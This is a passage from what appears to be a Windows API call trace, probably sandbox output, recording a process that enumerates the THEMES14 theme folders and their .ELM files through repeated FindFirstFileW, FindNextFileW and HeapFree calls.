ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.428] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0041.428] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0041.428] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0041.428] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0041.428] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0041.428] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.428] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0041.429] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0041.429] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0041.430] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0041.431] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0041.431] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.431] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0041.431] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0041.431] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0041.431] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0041.431] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.329] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.329] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0042.329] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.329] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.329] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0042.329] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.330] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.330] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0042.330] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.330] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.330] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0042.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.330] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.330] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0042.330] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.331] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.331] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0042.331] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.331] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.331] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0042.331] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.331] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.331] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0042.331] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.331] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.331] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0042.332] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.332] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.332] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0042.332] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.332] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.332] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0042.332] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.332] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.332] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0042.332] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.333] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.333] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0042.333] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.333] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.333] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0042.333] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.333] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.333] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0042.333] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.333] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.334] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0042.334] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x394f094 